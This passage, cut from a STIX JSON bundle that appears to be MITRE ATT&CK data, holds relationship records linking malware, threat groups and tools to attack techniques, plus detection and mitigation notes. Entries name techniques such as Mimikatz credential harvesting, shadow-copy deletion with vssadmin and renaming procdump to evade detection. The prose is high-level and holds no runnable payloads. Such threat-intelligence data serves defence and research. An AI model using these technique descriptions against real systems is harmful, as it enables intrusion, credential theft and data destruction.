2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--32d35bd7-e09b-4e92-b560-4adb1bac59d5","type":"relationship","created":"2020-01-19T16:10:15.544Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-19T16:10:15.544Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd","target_ref":"attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--32d482c4-2c0d-4688-a38b-d73b5b2962a3","type":"relationship","created":"2019-06-25T12:25:23.800Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-09T16:57:32.309Z","description":"Ensure that unnecessary ports and services are closed to prevent risk of discovery and potential exploitation.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--32d8952d-39cb-4b6b-8743-2bca4f4bed01","created":"2022-09-28T13:59:42.091Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MagicWeb","description":"Microsoft Threat Intelligence Center, Microsoft Detection and Response Team, Microsoft 365 Defender Research Team . (2022, August 24). MagicWeb: NOBELIUM’s post-compromise trick to authenticate as anyone. Retrieved September 28, 2022.","url":"https://www.microsoft.com/security/blog/2022/08/24/magicweb-nobeliums-post-compromise-trick-to-authenticate-as-anyone/"},{"source_name":"Mandiant Azure AD Backdoors","description":"Mike Burns. (2020, September 30). Detecting Microsoft 365 and Azure Active Directory Backdoors. Retrieved September 28, 2022.","url":"https://www.mandiant.com/resources/detecting-microsoft-365-azure-active-directory-backdoors"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T16:37:37.616Z","description":"Monitor the hybrid identity solution in use for the loading of unauthorized DLLs. For example, monitor all PTA agent servers for the creation of DLLs as well as the loading of DLLs into the `AzureADConnectAuthenticationAgentService` process.(Citation: Mandiant Azure AD Backdoors) If AD FS is in use, monitor the AD FS server for the creation of DLLs as well as the loading of unrecognized or unsigned DLLs into the `Microsoft.IdentityServer.Servicehost` application.(Citation: MagicWeb)","relationship_type":"detects","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--54ca26f3-c172-4231-93e5-ccebcac2161f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--32d96aee-4192-4c65-81ef-ced7256c3013","type":"relationship","created":"2020-02-20T15:35:00.358Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-20T15:35:00.358Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--18cffc21-3260-437e-80e4-4ab8bf2ba5e9","target_ref":"attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--32dde0d4-74b9-4a01-ab13-4c227c519797","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-30T14:35:37.490Z","description":"Monitor for unexpected modifications to file timestamps.","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--32e032f8-2c64-4716-b4e8-2804ba1739ab","created":"2024-02-06T17:57:55.479Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-06T17:57:55.479Z","description":"Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.","relationship_type":"detects","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--e6f19759-dde3-47fc-99cc-d9f5fa4ade60","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--32e70454-9206-4f26-b2d1-c9fa106cbd48","type":"relationship","created":"2021-10-14T22:21:20.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Taidoor","description":"Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.","url":"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf"}],"modified":"2021-10-14T22:21:20.864Z","description":"[Taidoor](https://attack.mitre.org/software/S0011) has used HTTP GET and POST requests for C2.(Citation: TrendMicro Taidoor)","relationship_type":"uses","source_ref":"malware--b143dfa4-e944-43ff-8429-bfffc308c517","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--32e93dd8-d0df-40d8-b85f-e10e70fc0b8f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ASERT InnaputRAT April 2018","description":"ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.","url":"https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/"}],"modified":"2020-03-18T00:48:35.850Z","description":"[InnaputRAT](https://attack.mitre.org/software/S0259) gathers volume drive information and system information.(Citation: ASERT InnaputRAT April 2018)","relationship_type":"uses","source_ref":"malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--32e947a4-cbd3-45a8-ae74-7e51edf84d81","created":"2021-01-27T20:56:45.177Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cyble Sidewinder September 2020","description":"Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021.","url":"https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/"},{"source_name":"ATT Sidewinder January 2021","description":"Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021.","url":"https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf"},{"source_name":"Rewterz Sidewinder APT April 2020","description":"Rewterz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021.","url":"https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:07:47.684Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has used base64 encoding and ECDH-P256 encryption for payloads.(Citation: ATT Sidewinder January 2021)(Citation: Rewterz Sidewinder APT April 2020)(Citation: Cyble Sidewinder September 2020)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--32ee78b3-58de-4de5-bc3d-34ea8dc90ca3","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto CVE-2015-3113 July 2015","description":"Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved January 22, 2016.","url":"http://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/"}],"modified":"2020-03-18T20:44:39.391Z","description":"[SHOTPUT](https://attack.mitre.org/software/S0063) has a command to obtain a directory listing.(Citation: Palo Alto CVE-2015-3113 July 2015)","relationship_type":"uses","source_ref":"malware--58adaaa8-f1e8-4606-9a08-422e568461eb","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--32fc949c-2127-425b-9480-6d07ead49982","type":"relationship","created":"2019-03-11T19:24:08.170Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.583Z","description":"[Empire](https://attack.mitre.org/software/S0363) can ZIP directories on the target system.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--32fcbe1c-d872-46d6-a70d-90871d876610","created":"2022-08-30T12:49:02.858Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for newly constructed network connections to cloud services associated with abnormal or non-browser processes.","modified":"2022-08-30T12:49:02.858Z","relationship_type":"detects","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3301326d-45dd-4c42-9f2b-9e1123cde08e","created":"2024-10-02T12:22:40.581Z","revoked":false,"external_references":[{"source_name":"PWC Yellow Liderc 2023","description":"PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.","url":"https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-02T12:22:40.581Z","description":"[IMAPLoader](https://attack.mitre.org/software/S1152) imports native Windows APIs such as `GetConsoleWindow` and `ShowWindow`.(Citation: PWC Yellow Liderc 2023)","relationship_type":"uses","source_ref":"malware--3058b264-fe6b-46be-8948-2d1fadaf8adf","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--330c49c0-a785-46f9-99c1-74322e26e20d","type":"relationship","created":"2020-01-23T22:05:32.578Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-23T22:05:32.578Z","relationship_type":"revoked-by","source_ref":"attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--330c8e43-575f-4c9a-b6c2-def7306841ad","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure CozyDuke","description":"F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/CozyDuke"}],"modified":"2020-11-23T17:03:38.700Z","description":"The main [CozyCar](https://attack.mitre.org/software/S0046) dropper checks whether the victim has an anti-virus product installed. If the installed product is on a predetermined list, the dropper will exit.(Citation: F-Secure CozyDuke)","relationship_type":"uses","source_ref":"malware--e6ef745b-077f-42e1-a37d-29eecff9c754","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--330e86f3-f4ff-4fe0-af64-cd3c86849239","type":"relationship","created":"2019-01-29T21:33:34.623Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BadPatch Oct 2017","url":"https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/","description":"Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018."}],"modified":"2020-03-16T23:35:32.865Z","description":"[BadPatch](https://attack.mitre.org/software/S0337) stores collected data in log files before exfiltration.(Citation: Unit 42 BadPatch Oct 2017)","relationship_type":"uses","source_ref":"malware--9af05de0-bc09-4511-a350-5eb8b06185c1","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--33119ed3-3f9c-43b1-a371-53a1cfdce144","created":"2023-04-10T17:11:05.607Z","revoked":false,"external_references":[{"source_name":"Kaspersky LuminousMoth July 2021","description":"Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.","url":"https://securelist.com/apt-luminousmoth/103332/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T17:11:05.607Z","description":"[LuminousMoth](https://attack.mitre.org/groups/G1014) has created a link to a Dropbox file that has been used in their spear-phishing operations.(Citation: Kaspersky LuminousMoth July 2021)","relationship_type":"uses","source_ref":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","target_ref":"attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--33134dd2-7bc5-47a1-a06a-101f3ecf2878","created":"2024-05-23T22:44:39.292Z","revoked":false,"external_references":[{"source_name":"Cadet Blizzard emerges as novel threat actor","description":"Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-23T22:44:39.292Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has renamed the legitimate Sysinternals tool procdump to alternative names such as dump64.exe to evade detection.(Citation: Cadet Blizzard emerges as novel threat actor)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--331528b5-fe7e-4ca4-ad3a-c18b20298f28","type":"relationship","created":"2019-04-23T14:59:04.113Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"modified":"2020-03-16T17:09:47.422Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) can use Invoke-RunAs to make tokens.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--33162cc2-a800-4d42-89bb-13ac1e75dfce","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell Sakula","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.","url":"http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/"}],"modified":"2020-03-17T02:29:53.409Z","description":"[Sakula](https://attack.mitre.org/software/S0074) has the capability to download files.(Citation: Dell Sakula)","relationship_type":"uses","source_ref":"malware--96b08451-b27a-4ff6-893f-790e26393a8e","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3318f441-6593-4a7b-bb7f-53ab15a1a672","type":"relationship","created":"2020-05-11T22:12:28.674Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye MESSAGETAP October 2019","url":"https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html","description":"Leong, R., Perez, D., Dean, T. (2019, October 31). MESSAGETAP: Who’s Reading Your Text Messages?. Retrieved May 11, 2020."}],"modified":"2020-06-24T01:43:11.274Z","description":"[MESSAGETAP](https://attack.mitre.org/software/S0443) uses the libpcap library to listen to all traffic and parses network protocols starting with Ethernet and IP layers. It continues parsing protocol layers including SCTP, SCCP, and TCAP and finally extracts SMS message data and routing metadata. (Citation: FireEye MESSAGETAP October 2019)","relationship_type":"uses","source_ref":"malware--9b19d6b4-cfcb-492f-8ca8-8449e7331573","target_ref":"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--331c41dc-7452-4328-a370-7556f659e8cb","type":"relationship","created":"2020-08-12T19:32:56.400Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Red Canary Verclsid.exe","url":"https://redcanary.com/blog/verclsid-exe-threat-detection/","description":"Haag, M., Levan, K. (2017, April 6). Old Phishing Attacks Deploy a New Methodology: Verclsid.exe. Retrieved August 10, 2020."}],"modified":"2020-08-12T19:34:09.254Z","description":"[Hancitor](https://attack.mitre.org/software/S0499) has used verclsid.exe to download and execute a malicious script.(Citation: Red Canary Verclsid.exe)","relationship_type":"uses","source_ref":"malware--ef2247bf-8062-404b-894f-d65d00564817","target_ref":"attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--331da7a8-d1ad-4feb-892a-c440aa5eb810","created":"2021-10-01T01:57:31.713Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ATT TeamTNT Chimaera September 2020","description":"AT&T Alien Labs. (2021, September 8). TeamTNT with new campaign aka Chimaera. Retrieved September 22, 2021.","url":"https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T19:39:12.869Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has used malware that adds cryptocurrency miners as a service.(Citation: ATT TeamTNT Chimaera September 2020)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--331e59e9-0d10-4c2d-ba92-e8eb0de1cc95","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","source_name":"FireEye Know Your Enemy FIN8 Aug 2016"}],"modified":"2020-03-19T22:56:03.058Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) harvests credentials using Invoke-Mimikatz or Windows Credentials Editor (WCE).(Citation: FireEye Know Your Enemy FIN8 Aug 2016)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--331e8ea2-15c4-4cba-8a26-163b24d819b7","created":"2022-01-10T19:52:49.173Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.924Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) can delete shadow volumes using vssadmin.exe.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--331ebf73-af72-4121-815a-d10392ac75ab","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/","description":"Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.","source_name":"Unit 42 C0d0so0 Jan 2016"}],"modified":"2019-04-25T11:39:52.152Z","description":"[APT19](https://attack.mitre.org/groups/G0073) used an HTTP malware variant and a Port 22 malware variant to collect the victim’s username.(Citation: Unit 42 C0d0so0 Jan 2016)","relationship_type":"uses","source_ref":"intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--331f7990-d817-49ec-9d55-c4c64da7f4a6","type":"relationship","created":"2021-09-22T21:57:30.229Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SMOKEDHAM June 2021","url":"https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html","description":"FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021."}],"modified":"2021-10-14T18:34:24.287Z","description":"[SMOKEDHAM](https://attack.mitre.org/software/S0649) has modified registry keys for persistence, to enable credential caching for credential access, and to facilitate lateral movement via RDP.(Citation: FireEye SMOKEDHAM June 2021)","relationship_type":"uses","source_ref":"malware--7e0f8b0f-716e-494d-827e-310bd6ed709e","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--331fcf7d-5663-40a9-b86c-be005221e882","type":"relationship","created":"2020-11-10T20:29:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-11-10T20:29:51.872Z","description":"[Melcoz](https://attack.mitre.org/software/S0530) can use MSI files with embedded VBScript for execution.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--d3105fb5-c494-4fd1-a7be-414eab9e0c96","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--33201f98-6367-4f36-a581-98fd4d1203fa","type":"relationship","created":"2021-02-03T16:59:34.743Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DOJ Iran Indictments March 2018","url":"https://www.justice.gov/usao-sdny/press-release/file/1045781/download","description":"DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."},{"source_name":"Phish Labs Silent 